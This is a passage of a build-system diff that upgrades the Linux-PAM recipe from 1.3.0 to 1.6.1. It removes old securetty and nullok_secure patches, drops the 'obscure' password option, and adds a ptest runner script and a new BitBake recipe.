- if ENABLE_REGENERATE_MAN
- noinst_DATA = README
- README: pam_securetty.8.xml
-diff -urpN a/modules/pam_securetty/pam_securetty.c b/modules/pam_securetty/pam_securetty.c
---- a/modules/pam_securetty/pam_securetty.c 2013-07-05 11:07:50.064483568 +0800
-+++ b/modules/pam_securetty/pam_securetty.c 2013-07-05 11:12:23.994483344 +0800
-@@ -1,7 +1,5 @@
- /* pam_securetty module */
-
--#define SECURETTY_FILE "/etc/securetty"
--#define TTY_PREFIX "/dev/"
- #define CMDLINE_FILE "/proc/cmdline"
- #define CONSOLEACTIVE_FILE "/sys/class/tty/console/active"
-
-@@ -40,6 +38,9 @@
- #include <security/pam_modutil.h>
- #include <security/pam_ext.h>
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
- #define PAM_DEBUG_ARG 0x0001
- #define PAM_NOCONSOLE_ARG 0x0002
-
-@@ -73,11 +74,7 @@ securetty_perform_check (pam_handle_t *p
- const char *username;
- const char *uttyname;
- const void *void_uttyname;
-- char ttyfileline[256];
-- char ptname[256];
-- struct stat ttyfileinfo;
- struct passwd *user_pwd;
-- FILE *ttyfile;
-
- /* log a trail for debugging */
- if (ctrl & PAM_DEBUG_ARG) {
-@@ -105,50 +102,7 @@ securetty_perform_check (pam_handle_t *p
- return PAM_SERVICE_ERR;
- }
-
-- /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-- if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0) {
-- uttyname += sizeof(TTY_PREFIX)-1;
-- }
--
-- if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-- pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m", SECURETTY_FILE);
-- return PAM_SUCCESS; /* for compatibility with old securetty handling,
-- this needs to succeed. But we still log the
-- error. */
-- }
--
-- if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-- /* If the file is world writable or is not a
-- normal file, return error */
-- pam_syslog(pamh, LOG_ERR,
-- "%s is either world writable or not a normal file",
-- SECURETTY_FILE);
-- return PAM_AUTH_ERR;
-- }
--
-- ttyfile = fopen(SECURETTY_FILE,"r");
-- if (ttyfile == NULL) { /* Check that we opened it successfully */
-- pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-- return PAM_SERVICE_ERR;
-- }
--
-- if (isdigit(uttyname[0])) {
-- snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-- } else {
-- ptname[0] = '\0';
-- }
--
-- retval = 1;
--
-- while ((fgets(ttyfileline, sizeof(ttyfileline)-1, ttyfile) != NULL)
-- && retval) {
-- if (ttyfileline[strlen(ttyfileline) - 1] == '\n')
-- ttyfileline[strlen(ttyfileline) - 1] = '\0';
--
-- retval = ( strcmp(ttyfileline, uttyname)
-- && (!ptname[0] || strcmp(ptname, uttyname)) );
-- }
-- fclose(ttyfile);
-+ retval = _pammodutil_tty_secure(pamh, uttyname);
-
- if (retval && !(ctrl & PAM_NOCONSOLE_ARG)) {
- FILE *cmdlinefile;
-diff -urpN a/modules/pam_securetty/tty_secure.c b/modules/pam_securetty/tty_secure.c
---- a/modules/pam_securetty/tty_secure.c 1970-01-01 08:30:00.000000000 +0830
-+++ b/modules/pam_securetty/tty_secure.c 2013-07-05 11:14:21.534482900 +0800
-@@ -0,0 +1,90 @@
-+/*
-+ * A function to determine if a particular line is in /etc/securetty
-+ */
-+
-+
-+#define SECURETTY_FILE "/etc/securetty"
-+#define TTY_PREFIX "/dev/"
-+
-+/* This function taken out of pam_securetty by Sam Hartman
-+ * <hartmans@debian.org>*/
-+/*
-+ * by Elliot Lee <sopwith@redhat.com>, Red Hat Software.
-+ * July 25, 1996.
-+ * Slight modifications AGM. 1996/12/3
-+ */
-+
-+#include <unistd.h>
-+#include <sys/types.h>
-+#include <sys/stat.h>
-+#include <security/pam_modules.h>
-+#include <stdarg.h>
-+#include <syslog.h>
-+#include <sys/syslog.h>
-+#include <stdio.h>
-+#include <string.h>
-+#include <stdlib.h>
-+#include <ctype.h>
-+#include <security/pam_modutil.h>
-+#include <security/pam_ext.h>
-+
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh,
-+ const char *uttyname);
-+
-+int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname)
-+{
-+ int retval = PAM_AUTH_ERR;
-+ char ttyfileline[256];
-+ char ptname[256];
-+ struct stat ttyfileinfo;
-+ FILE *ttyfile;
-+ /* The PAM_TTY item may be prefixed with "/dev/" - skip that */
-+ if (strncmp(TTY_PREFIX, uttyname, sizeof(TTY_PREFIX)-1) == 0)
-+ uttyname += sizeof(TTY_PREFIX)-1;
-+
-+ if (stat(SECURETTY_FILE, &ttyfileinfo)) {
-+ pam_syslog(pamh, LOG_NOTICE, "Couldn't open %s: %m",
-+ SECURETTY_FILE);
-+ return PAM_SUCCESS; /* for compatibility with old securetty handling,
-+ this needs to succeed. But we still log the
-+ error. */
-+ }
-+
-+ if ((ttyfileinfo.st_mode & S_IWOTH) || !S_ISREG(ttyfileinfo.st_mode)) {
-+ /* If the file is world writable or is not a
-+ normal file, return error */
-+ pam_syslog(pamh, LOG_ERR,
-+ "%s is either world writable or not a normal file",
-+ SECURETTY_FILE);
-+ return PAM_AUTH_ERR;
-+ }
-+
-+ ttyfile = fopen(SECURETTY_FILE,"r");
-+ if(ttyfile == NULL) { /* Check that we opened it successfully */
-+ pam_syslog(pamh, LOG_ERR, "Error opening %s: %m", SECURETTY_FILE);
-+ return PAM_SERVICE_ERR;
-+ }
-+
-+ if (isdigit(uttyname[0])) {
-+ snprintf(ptname, sizeof(ptname), "pts/%s", uttyname);
-+ } else {
-+ ptname[0] = '\0';
-+ }
-+
-+ retval = 1;
-+
-+ while ((fgets(ttyfileline,sizeof(ttyfileline)-1, ttyfile) != NULL)
-+ && retval) {
-+ if(ttyfileline[strlen(ttyfileline) - 1] == '\n')
-+ ttyfileline[strlen(ttyfileline) - 1] = '\0';
-+ retval = ( strcmp(ttyfileline,uttyname)
-+ && (!ptname[0] || strcmp(ptname, uttyname)) );
-+ }
-+ fclose(ttyfile);
-+
-+ if(retval) {
-+ retval = PAM_AUTH_ERR;
-+ }
-+
-+ return retval;
-+}
diff --git a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch b/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
deleted file mode 100644
index d2cc66882e..0000000000
--- a/meta/recipes-extended/pam/libpam/pam-unix-nullok-secure.patch
+++ /dev/null
@@ -1,195 +0,0 @@
-From b6545b83f94c5fb7aec1478b8d458a1393f479c8 Mon Sep 17 00:00:00 2001
-From: "Maxin B. John" <maxin.john@intel.com>
-Date: Wed, 25 May 2016 14:12:25 +0300
-Subject: [PATCH] pam_unix: support 'nullok_secure' option
-
-Debian patch to add a new 'nullok_secure' option to pam_unix,
-which accepts users with null passwords only when the applicant is
-connected from a tty listed in /etc/securetty.
-
-Authors: Sam Hartman <hartmans@debian.org>,
- Steve Langasek <vorlon@debian.org>
-
-Upstream-Status: Pending
-
-Signed-off-by: Ming Liu <ming.liu@windriver.com>
-Signed-off-by: Amarnath Valluri <amarnath.valluri@intel.com>
-Signed-off-by: Maxin B. John <maxin.john@intel.com>
----
- modules/pam_unix/Makefile.am | 3 ++-
- modules/pam_unix/pam_unix.8.xml | 19 ++++++++++++++++++-
- modules/pam_unix/support.c | 40 +++++++++++++++++++++++++++++++++++-----
- modules/pam_unix/support.h | 8 ++++++--
- 4 files changed, 61 insertions(+), 9 deletions(-)
-
-diff --git a/modules/pam_unix/Makefile.am b/modules/pam_unix/Makefile.am
-index 56df178..2bba460 100644
---- a/modules/pam_unix/Makefile.am
-+++ b/modules/pam_unix/Makefile.am
-@@ -30,7 +30,8 @@ if HAVE_VERSIONING
- pam_unix_la_LDFLAGS += -Wl,--version-script=$(srcdir)/../modules.map
- endif
- pam_unix_la_LIBADD = $(top_builddir)/libpam/libpam.la \
-- @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@
-+ @LIBCRYPT@ @LIBSELINUX@ @TIRPC_LIBS@ @NSL_LIBS@ \
-+ ../pam_securetty/tty_secure.lo
-
- securelib_LTLIBRARIES = pam_unix.la
-
-diff --git a/modules/pam_unix/pam_unix.8.xml b/modules/pam_unix/pam_unix.8.xml
-index 1b318f1..be0330e 100644
---- a/modules/pam_unix/pam_unix.8.xml
-+++ b/modules/pam_unix/pam_unix.8.xml
-@@ -159,7 +159,24 @@
- <para>
- The default action of this module is to not permit the
- user access to a service if their official password is blank.
-- The <option>nullok</option> argument overrides this default.
-+ The <option>nullok</option> argument overrides this default
-+ and allows any user with a blank password to access the
-+ service.
-+ </para>
-+ </listitem>
-+ </varlistentry>
-+ <varlistentry>
-+ <term>
-+ <option>nullok_secure</option>
-+ </term>
-+ <listitem>
-+ <para>
-+ The default action of this module is to not permit the
-+ user access to a service if their official password is blank.
-+ The <option>nullok_secure</option> argument overrides this
-+ default and allows any user with a blank password to access
-+ the service as long as the value of PAM_TTY is set to one of
-+ the values found in /etc/securetty.
- </para>
- </listitem>
- </varlistentry>
-diff --git a/modules/pam_unix/support.c b/modules/pam_unix/support.c
-index fc8595e..29e3341 100644
---- a/modules/pam_unix/support.c
-+++ b/modules/pam_unix/support.c
-@@ -183,13 +183,22 @@ int _set_ctrl(pam_handle_t *pamh, int flags, int *remember, int *rounds,
- /* now parse the arguments to this module */
-
- for (; argc-- > 0; ++argv) {
-+ int sl;
-
- D(("pam_unix arg: %s", *argv));
-
- for (j = 0; j < UNIX_CTRLS_; ++j) {
-- if (unix_args[j].token
-- && !strncmp(*argv, unix_args[j].token, strlen(unix_args[j].token))) {
-- break;
-+ if (unix_args[j].token) {
-+ sl = strlen(unix_args[j].token);
-+ if (unix_args[j].token[sl-1] == '=') {
-+ /* exclude argument from comparison */
-+ if (!strncmp(*argv, unix_args[j].token, sl))
-+ break;
-+ } else {
-+ /* compare full strings */
-+ if (!strcmp(*argv, unix_args[j].token))
-+ break;
-+ }
- }
- }
-
-@@ -560,6 +569,7 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- if (child == 0) {
- static char *envp[] = { NULL };
- const char *args[] = { NULL, NULL, NULL, NULL };
-+ int nullok = off(UNIX__NONULL, ctrl);
-
- /* XXX - should really tidy up PAM here too */
-
-@@ -587,7 +597,16 @@ static int _unix_run_helper_binary(pam_handle_t *pamh, const char *passwd,
- /* exec binary helper */
- args[0] = CHKPWD_HELPER;
- args[1] = user;
-- if (off(UNIX__NONULL, ctrl)) { /* this means we've succeeded */
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ const void *uttyname;
-+ retval = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval != PAM_SUCCESS || uttyname == NULL
-+ || _pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS) {
-+ nullok = 0;
-+ }
-+ }
-+
-+ if (nullok) {
- args[2]="nullok";
- } else {
- args[2]="nonull";
-@@ -672,6 +691,17 @@ _unix_blankpasswd (pam_handle_t *pamh, unsigned int ctrl, const char *name)
- if (on(UNIX__NONULL, ctrl))
- return 0; /* will fail but don't let on yet */
-
-+ if (on(UNIX_NULLOK_SECURE, ctrl)) {
-+ int retval2;
-+ const void *uttyname;
-+ retval2 = pam_get_item(pamh, PAM_TTY, &uttyname);
-+ if (retval2 != PAM_SUCCESS || uttyname == NULL)
-+ return 0;
-+
-+ if (_pammodutil_tty_secure(pamh, (const char *)uttyname) != PAM_SUCCESS)
-+ return 0;
-+ }
-+
- /* UNIX passwords area */
-
- retval = get_pwd_hash(pamh, name, &pwd, &salt);
-@@ -758,7 +788,7 @@ int _unix_verify_password(pam_handle_t * pamh, const char *name
- }
- }
- } else {
-- retval = verify_pwd_hash(p, salt, off(UNIX__NONULL, ctrl));
-+ retval = verify_pwd_hash(p, salt, _unix_blankpasswd(pamh, ctrl, name));
- }
-
- if (retval == PAM_SUCCESS) {
-diff --git a/modules/pam_unix/support.h b/modules/pam_unix/support.h
-index b4c279c..8da4a8e 100644
---- a/modules/pam_unix/support.h
-+++ b/modules/pam_unix/support.h
-@@ -98,8 +98,9 @@ typedef struct {
- #define UNIX_QUIET 28 /* Don't print informational messages */
- #define UNIX_NO_PASS_EXPIRY 29 /* Don't check for password expiration if not used for authentication */
- #define UNIX_DES 30 /* DES, default */
-+#define UNIX_NULLOK_SECURE 31 /* NULL passwords allowed only on secure ttys */
- /* -------------- */
--#define UNIX_CTRLS_ 31 /* number of ctrl arguments defined */
-+#define UNIX_CTRLS_ 32 /* number of ctrl arguments defined */
-
- #define UNIX_DES_CRYPT(ctrl) (off(UNIX_MD5_PASS,ctrl)&&off(UNIX_BIGCRYPT,ctrl)&&off(UNIX_SHA256_PASS,ctrl)&&off(UNIX_SHA512_PASS,ctrl)&&off(UNIX_BLOWFISH_PASS,ctrl))
-
-@@ -117,7 +118,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_AUTHTOK_TYPE */ {"authtok_type=", _ALL_ON_, 0100, 0},
- /* UNIX__PRELIM */ {NULL, _ALL_ON_^(0600), 0200, 0},
- /* UNIX__UPDATE */ {NULL, _ALL_ON_^(0600), 0400, 0},
--/* UNIX__NONULL */ {NULL, _ALL_ON_, 01000, 0},
-+/* UNIX__NONULL */ {NULL, _ALL_ON_^(02000000000), 01000, 0},
- /* UNIX__QUIET */ {NULL, _ALL_ON_, 02000, 0},
- /* UNIX_USE_AUTHTOK */ {"use_authtok", _ALL_ON_, 04000, 0},
- /* UNIX_SHADOW */ {"shadow", _ALL_ON_, 010000, 0},
-@@ -139,6 +140,7 @@ static const UNIX_Ctrls unix_args[UNIX_CTRLS_] =
- /* UNIX_QUIET */ {"quiet", _ALL_ON_, 01000000000, 0},
- /* UNIX_NO_PASS_EXPIRY */ {"no_pass_expiry", _ALL_ON_, 02000000000, 0},
- /* UNIX_DES */ {"des", _ALL_ON_^(0260420000), 0, 1},
-+/* UNIX_NULLOK_SECURE */ {"nullok_secure", _ALL_ON_^(01000), 02000000000, 0},
- };
-
- #define UNIX_DEFAULTS (unix_args[UNIX__NONULL].flag)
-@@ -172,6 +174,8 @@ extern int _unix_read_password(pam_handle_t * pamh
- ,const char *data_name
- ,const void **pass);
-
-+extern int _pammodutil_tty_secure(const pam_handle_t *pamh, const char *uttyname);
-+
- extern int _unix_run_verify_binary(pam_handle_t *pamh,
- unsigned int ctrl, const char *user, int *daysleft);
- #endif /* _PAM_UNIX_SUPPORT_H */
---
-2.4.0
-
diff --git a/meta/recipes-extended/pam/libpam/pam-volatiles.conf b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
new file mode 100644
index 0000000000..1263feb03d
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/pam-volatiles.conf
@@ -0,0 +1 @@
+d /run/sepermit 0755 root root - -
diff --git a/meta/recipes-extended/pam/libpam/pam.d/common-password b/meta/recipes-extended/pam/libpam/pam.d/common-password
index 3896057328..52478dae77 100644
--- a/meta/recipes-extended/pam/libpam/pam.d/common-password
+++ b/meta/recipes-extended/pam/libpam/pam.d/common-password
@@ -10,13 +10,10 @@
# The "sha512" option enables salted SHA512 passwords. Without this option,
# the default is Unix crypt. Prior releases used the option "md5".
#
-# The "obscure" option replaces the old `OBSCURE_CHECKS_ENAB' option in
-# login.defs.
-#
# See the pam_unix manpage for other options.
# here are the per-package modules (the "Primary" block)
-password [success=1 default=ignore] pam_unix.so obscure sha512
+password [success=1 default=ignore] pam_unix.so sha512
# here's the fallback if no module succeeds
password requisite pam_deny.so
# prime the stack with a positive return value if there isn't one already;
diff --git a/meta/recipes-extended/pam/libpam/run-ptest b/meta/recipes-extended/pam/libpam/run-ptest
new file mode 100644
index 0000000000..9c304aee47
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam/run-ptest
@@ -0,0 +1,32 @@
+#! /bin/sh
+
+cd tests
+
+export srcdir=.
+
+failed=0
+all=0
+for f in tst-*; do
+ "./$f" > /dev/null 2>&1
+ case "$?" in
+ 0)
+ echo "PASS: $f"
+ all=$((all + 1))
+ ;;
+ 77)
+ echo "SKIP: $f"
+ ;;
+ *)
+ echo "FAIL: $f"
+ failed=$((failed + 1))
+ all=$((all + 1))
+ ;;
+ esac
+done
+
+if [ "$failed" -eq 0 ] ; then
+ echo "All $all tests passed"
+else
+ echo "$failed of $all tests failed"
+fi
+unset srcdir
diff --git a/meta/recipes-extended/pam/libpam_1.3.0.bb b/meta/recipes-extended/pam/libpam_1.3.0.bb
deleted file mode 100644
index 8f7753d001..0000000000
--- a/meta/recipes-extended/pam/libpam_1.3.0.bb
+++ /dev/null
@@ -1,167 +0,0 @@
-SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
-DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
-HOMEPAGE = "https://fedorahosted.org/linux-pam/"
-BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
-SECTION = "base"
-# PAM is dual licensed under GPL and BSD.
-# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
-# libpam-runtime-1.0.1 is GPLv2+), by openembedded
-LICENSE = "GPLv2+ | BSD"
-LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3"
-
-SRC_URI = "http://linux-pam.org/library/Linux-PAM-${PV}.tar.bz2 \
- file://99_pam \
- file://pam.d/common-account \
- file://pam.d/common-auth \
- file://pam.d/common-password \
- file://pam.d/common-session \
- file://pam.d/common-session-noninteractive \
- file://pam.d/other \
- file://libpam-xtests.patch \
- file://fixsepbuild.patch \
- file://pam-security-abstract-securetty-handling.patch \
- file://pam-unix-nullok-secure.patch \
- file://libpam-xtests-remove-bash-dependency.patch \
- file://crypt_configure.patch \
- "
-
-SRC_URI[md5sum] = "da4b2289b7cfb19583d54e9eaaef1c3a"
-SRC_URI[sha256sum] = "241aed1ef522f66ed672719ecf2205ec513fd0075ed80cda8e086a5b1a01d1bb"
-
-SRC_URI_append_libc-musl = " file://0001-Add-support-for-defining-missing-funcitonality.patch \
- file://include_paths_header.patch \
- "
-
-DEPENDS = "bison-native flex flex-native cracklib libxml2-native"
-
-EXTRA_OECONF = "--with-db-uniquename=_pam \
- --includedir=${includedir}/security \
- --libdir=${base_libdir} \
- --disable-nis \
- --disable-regenerate-docu \
- --disable-prelude"
-
-CFLAGS_append = " -fPIC "
-
-PR = "r5"
-
-S = "${WORKDIR}/Linux-PAM-${PV}"
-
-inherit autotools gettext pkgconfig
-
-PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
-
-PACKAGES += "${PN}-runtime ${PN}-xtests"
-FILES_${PN} = "${base_libdir}/lib*${SOLIBS}"
-FILES_${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
-FILES_${PN}-runtime = "${sysconfdir}"
-FILES_${PN}-xtests = "${datadir}/Linux-PAM/xtests"
-
-PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
-
-def get_multilib_bit(d):
- baselib = d.getVar('baselib') or ''
- return baselib.replace('lib', '')
-
-libpam_suffix = "suffix${@get_multilib_bit(d)}"
-
-RPROVIDES_${PN} += "${PN}-${libpam_suffix}"
-RPROVIDES_${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
-
-RDEPENDS_${PN}-runtime = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
- "
-RDEPENDS_${PN}-xtests = "${PN}-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-cracklib-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
- ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
- coreutils"
-
-# FIXME: Native suffix breaks here, disable it for now
-RRECOMMENDS_${PN} = "${PN}-runtime-${libpam_suffix}"
-RRECOMMENDS_${PN}_class-native = ""
-
-python populate_packages_prepend () {
- def pam_plugin_append_file(pn, dir, file):
- nf = os.path.join(dir, file)
- of = d.getVar('FILES_' + pn)
- if of:
- nf = of + " " + nf
- d.setVar('FILES_' + pn, nf)
-
- def pam_plugin_hook(file, pkg, pattern, format, basename):
- pn = d.getVar('PN')
- libpam_suffix = d.getVar('libpam_suffix')
-
- rdeps = d.getVar('RDEPENDS_' + pkg)
- if rdeps:
- rdeps = rdeps + " " + pn + "-" + libpam_suffix
- else:
- rdeps = pn + "-" + libpam_suffix
- d.setVar('RDEPENDS_' + pkg, rdeps)
-
- provides = d.getVar('RPROVIDES_' + pkg)
- if provides:
- provides = provides + " " + pkg + "-" + libpam_suffix
- else:
- provides = pkg + "-" + libpam_suffix
- d.setVar('RPROVIDES_' + pkg, provides)
-
- mlprefix = d.getVar('MLPREFIX') or ''
- dvar = d.expand('${WORKDIR}/package')
- pam_libdir = d.expand('${base_libdir}/security')
- pam_sbindir = d.expand('${sbindir}')
- pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
- pam_pkgname = mlprefix + 'pam-plugin%s'
-
- do_split_packages(d, pam_libdir, '^pam(.*)\.so$', pam_pkgname,
- 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_chkpwd')
- pam_plugin_append_file('%spam-plugin-unix' % mlprefix, pam_sbindir, 'unix_update')
- pam_plugin_append_file('%spam-plugin-tally' % mlprefix, pam_sbindir, 'pam_tally')
- pam_plugin_append_file('%spam-plugin-tally2' % mlprefix, pam_sbindir, 'pam_tally2')
- pam_plugin_append_file('%spam-plugin-timestamp' % mlprefix, pam_sbindir, 'pam_timestamp_check')
- pam_plugin_append_file('%spam-plugin-mkhomedir' % mlprefix, pam_sbindir, 'mkhomedir_helper')
- pam_plugin_append_file('%spam-plugin-console' % mlprefix, pam_sbindir, 'pam_console_apply')
- do_split_packages(d, pam_filterdir, '^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
-}
-
-do_install() {
- autotools_do_install
-
- # don't install /var/run when populating rootfs. Do it through volatile
- rm -rf ${D}${localstatedir}
- install -d ${D}${sysconfdir}/default/volatiles
- install -m 0644 ${WORKDIR}/99_pam ${D}${sysconfdir}/default/volatiles
-
- install -d ${D}${sysconfdir}/pam.d/
- install -m 0644 ${WORKDIR}/pam.d/* ${D}${sysconfdir}/pam.d/
-
- # The lsb requires unix_chkpwd has setuid permission
- chmod 4755 ${D}${sbindir}/unix_chkpwd
-
- if ${@bb.utils.contains('DISTRO_FEATURES','systemd','true','false',d)}; then
- echo "session optional pam_systemd.so" >> ${D}${sysconfdir}/pam.d/common-session
- fi
-}
-
-python do_pam_sanity () {
- if not bb.utils.contains('DISTRO_FEATURES', 'pam', True, False, d):
- bb.warn("Building libpam but 'pam' isn't in DISTRO_FEATURES, PAM won't work correctly")
-}
-addtask pam_sanity before do_configure
-
-BBCLASSEXTEND = "nativesdk native"
-
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-auth"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-password"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-session-noninteractive"
-CONFFILES_${PN}-runtime += "${sysconfdir}/pam.d/common-account"
-CONFFILES_${PN}-runtime += "${sysconfdir}/security/limits.conf"
diff --git a/meta/recipes-extended/pam/libpam_1.6.1.bb b/meta/recipes-extended/pam/libpam_1.6.1.bb
new file mode 100644
index 0000000000..849f485f75
--- /dev/null
+++ b/meta/recipes-extended/pam/libpam_1.6.1.bb
@@ -0,0 +1,190 @@
+DISABLE_STATIC = ""
+SUMMARY = "Linux-PAM (Pluggable Authentication Modules)"
+DESCRIPTION = "Linux-PAM (Pluggable Authentication Modules for Linux), a flexible mechanism for authenticating users"
+HOMEPAGE = "https://fedorahosted.org/linux-pam/"
+BUGTRACKER = "https://fedorahosted.org/linux-pam/newticket"
+SECTION = "base"
+# PAM is dual licensed under GPL and BSD.
+# /etc/pam.d comes from Debian libpam-runtime in 2009-11 (at that time
+# libpam-runtime-1.0.1 is GPL-2.0-or-later), by openembedded
+LICENSE = "GPL-2.0-or-later | BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING;md5=7eb5c1bf854e8881005d673599ee74d3 \
+ file://libpamc/License;md5=a4da476a14c093fdc73be3c3c9ba8fb3 \
+ "
+
+SRC_URI = "${GITHUB_BASE_URI}/download/v${PV}/Linux-PAM-${PV}.tar.xz \
+ file://99_pam \
+ file://pam.d/common-account \
+ file://pam.d/common-auth \
+ file://pam.d/common-password \
+ file://pam.d/common-session \
+ file://pam.d/common-session-noninteractive \
+ file://pam.d/other \
+ file://libpam-xtests.patch \
+ file://run-ptest \
+ file://pam-volatiles.conf \
+ "
+
+SRC_URI[sha256sum] = "f8923c740159052d719dbfc2a2f81942d68dd34fcaf61c706a02c9b80feeef8e"
+
+DEPENDS = "bison-native flex-native cracklib libxml2-native virtual/crypt"
+
+EXTRA_OECONF = "--includedir=${includedir}/security \
+ --libdir=${base_libdir} \
+ --with-systemdunitdir=${systemd_system_unitdir} \
+ --disable-nis \
+ --disable-regenerate-docu \
+ --disable-doc \
+ --disable-prelude"
+
+CFLAGS:append = " -fPIC "
+
+S = "${WORKDIR}/Linux-PAM-${PV}"
+
+inherit autotools gettext pkgconfig systemd ptest github-releases
+
+PACKAGECONFIG ??= ""
+PACKAGECONFIG[audit] = "--enable-audit,--disable-audit,audit,"
+PACKAGECONFIG[userdb] = "--enable-db=db,--enable-db=no,db,"
+
+PACKAGES += "${PN}-runtime ${PN}-xtests"
+FILES:${PN} = " \
+ ${base_libdir}/lib*${SOLIBS} \
+ ${nonarch_libdir}/tmpfiles.d/*.conf \
+"
+FILES:${PN}-dev += "${base_libdir}/security/*.la ${base_libdir}/*.la ${base_libdir}/lib*${SOLIBSDEV}"
+FILES:${PN}-runtime = "${sysconfdir} ${sbindir} ${systemd_system_unitdir}"
+FILES:${PN}-xtests = "${datadir}/Linux-PAM/xtests"
+
+# libpam installs /etc/environment for use with the pam_env plugin. Make sure it is
+# packaged with the pam-plugin-env package to avoid breaking installations which
+# install that file via other packages
+FILES:pam-plugin-env = "${sysconfdir}/environment"
+
+PACKAGES_DYNAMIC += "^${MLPREFIX}pam-plugin-.*"
+
+def get_multilib_bit(d):
+ baselib = d.getVar('baselib') or ''
+ return baselib.replace('lib', '')
+
+libpam_suffix = "suffix${@get_multilib_bit(d)}"
+
+RPROVIDES:${PN} += "${PN}-${libpam_suffix}"
+RPROVIDES:${PN}-runtime += "${PN}-runtime-${libpam_suffix}"
+
+RDEPENDS:${PN}-runtime = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-deny-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-permit-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-warn-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-unix-${libpam_suffix} \
+ "
+RDEPENDS:${PN}-xtests = "${PN}-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-access-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-debug-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-pwhistory-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-succeed-if-${libpam_suffix} \
+ ${MLPREFIX}pam-plugin-time-${libpam_suffix} \
+ bash coreutils"
+
+# FIXME: Native suffix breaks here, disable it for now
+RRECOMMENDS:${PN} = "${PN}-runtime-${libpam_suffix}"
+RRECOMMENDS:${PN}:class-native = ""
+
+python populate_packages:prepend () {
+ def pam_plugin_hook(file, pkg, pattern, format, basename):
+ pn = d.getVar('PN')
+ libpam_suffix = d.getVar('libpam_suffix')
+
+ rdeps = d.getVar('RDEPENDS:' + pkg)
+ if rdeps:
+ rdeps = rdeps + " " + pn + "-" + libpam_suffix
+ else:
+ rdeps = pn + "-" + libpam_suffix
+ d.setVar('RDEPENDS:' + pkg, rdeps)
+
+ provides = d.getVar('RPROVIDES:' + pkg)
+ if provides:
+ provides = provides + " " + pkg + "-" + libpam_suffix
+ else:
+ provides = pkg + "-" + libpam_suffix
+ d.setVar('RPROVIDES:' + pkg, provides)
+
+ mlprefix = d.getVar('MLPREFIX') or ''
+ dvar = d.expand('${WORKDIR}/package')
+ pam_libdir = d.expand('${base_libdir}/security')
+ pam_sbindir = d.expand('${sbindir}')
+ pam_filterdir = d.expand('${base_libdir}/security/pam_filter')
+ pam_pkgname = mlprefix + 'pam-plugin%s'
+
+ do_split_packages(d, pam_libdir, r'^pam(.*)\.so$', pam_pkgname,
+ 'PAM plugin for %s', hook=pam_plugin_hook, extra_depends='', prepend=True)
+ do_split_packages(d, pam_filterdir, r'^(.*)$', 'pam-filter-%s', 'PAM filter for %s', extra_depends='')
+}
+
+do_compile_ptest() {
+ cd tests
+ sed -i -e 's/$(MAKE) $(AM_MAKEFLAGS) check-TESTS//' Makefile
+ oe_runmake check-am
+ cd -
+}
+
+do_install() {
+ autotools_do_install
+
+ # don't install /var/run when populating rootfs. Do it through volatile
+ rm -rf ${D}${localstatedir}
+
